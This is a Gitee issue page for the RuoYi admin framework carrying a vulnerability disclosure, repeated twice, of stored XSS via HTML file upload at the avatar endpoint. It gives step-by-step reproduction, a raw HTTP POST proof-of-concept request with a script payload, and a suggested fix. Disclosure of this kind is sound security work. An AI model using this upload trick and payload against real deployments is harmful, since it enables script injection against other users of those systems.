登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
登录
注册
代码拉取完成,页面将自动刷新
开源项目
>
WEB应用开发
>
后台管理框架
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
6K
Star
46.5K
Fork
25.8K
GVP
若依
/
RuoYi
代码
Issues
1
Pull Requests
10
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
Vulnerability: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms
已完成
#I57IME
solarpeng
创建于
2022-05-16 08:03
Vulnerability disclosure Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms Product: https://github.com/yangzongzhuan/RuoYi Affected Versions: v4.7.3(the lastest vesion) Discovery time: 2022.5.16 Found by: solarpeng502 Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack Analysis report: 1. If you are not Chinese,please change the language into the English through Browser translation plugin such as Google. 2. After deployment, enter the background management page  3. Click the avatar into the personal center  4. Click the "modify avatar",and upload a normal image,the click OK button   5. Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success    6. Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload   7. Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered  POC: POST /system/user/profile/updateAvatar HTTP/1.1 Host: mysite.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------21781164112778176297556867959 Content-Length: 249 Origin: http://mysite.com/ Connection: close Referer: http://mysite.com/system/user/profile/avatar Cookie: Your cookies -----------------------------21781164112778176297556867959 Content-Disposition: form-data; name="avatarfile"; filename="blob.html" Content-Type: image/png <script>alert(1)</script> -----------------------------21781164112778176297556867959-- Fixes: The backend should verify the file suffix, and do not allow html file upload;or check the content in Html file that filter xss payloads.
Vulnerability disclosure Vulnerability title: The html file can be uploaded where the avatar is uploaded, and its content not be filtered, which resulting in stored XSS in Ruoyi cms Product: https://github.com/yangzongzhuan/RuoYi Affected Versions: v4.7.3(the lastest vesion) Discovery time: 2022.5.16 Found by: solarpeng502 Exploit sence: The System allows multiple users to log in. If a user is granted user management rights, he can insert a malicious xss payload on user management page, so that all users with this permission can access and trigger an xss attack Analysis report: 1. If you are not Chinese,please change the language into the English through Browser translation plugin such as Google. 2. After deployment, enter the background management page  3. Click the avatar into the personal center  4. Click the "modify avatar",and upload a normal image,the click OK button   5. Intercept the request package with a packet capture tool such as burp, change the file suffix to html, and change the content with xss payload such as "<script>alert(1)</script>,then pass the request,and the response shows "{"msg":"操作成功","code":0}",which means upload success    6. Refresh the index page,start burp,and then click the avatar again,the burp will intercept the xss html that we upload   7. Copy the html url,and then send to the other users using Ruoyi cms,if they click,the xss attack is triggered  POC: POST /system/user/profile/updateAvatar HTTP/1.1 Host: mysite.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------21781164112778176297556867959 Content-Length: 249 Origin: http://mysite.com/ Connection: close Referer: http://mysite.com/system/user/profile/avatar Cookie: Your cookies -----------------------------21781164112778176297556867959 Content-Disposition: form-data; name="avatarfile"; filename="blob.html" Content-Type: image/png <script>alert(1)</script> -----------------------------21781164112778176297556867959-- Fixes: The backend should verify the file suffix, and do not allow html file upload;or check the content in Html file that filter xss payloads.
评论 (
1
)
登录
后才可以发表评论
状态
已完成
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (2)
标签 (31)
master
springboot3
v4.8.1
v4.8.0
v4.7.9
v4.7.8
v4.7.7
v4.7.6
v4.7.5
v4.7.4
v4.7.3
v4.7.2
v4.7.1
v4.7.0
v4.6.2
v4.6.1
v4.6.0
v4.5.1
v4.5.0
v4.4
v4.3.1
v4.3
v4.2
v4.1
v4.0
v3.4
v3.3
v3.2
v3.1
v3.0
v2.4
v2.3
v2.2
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册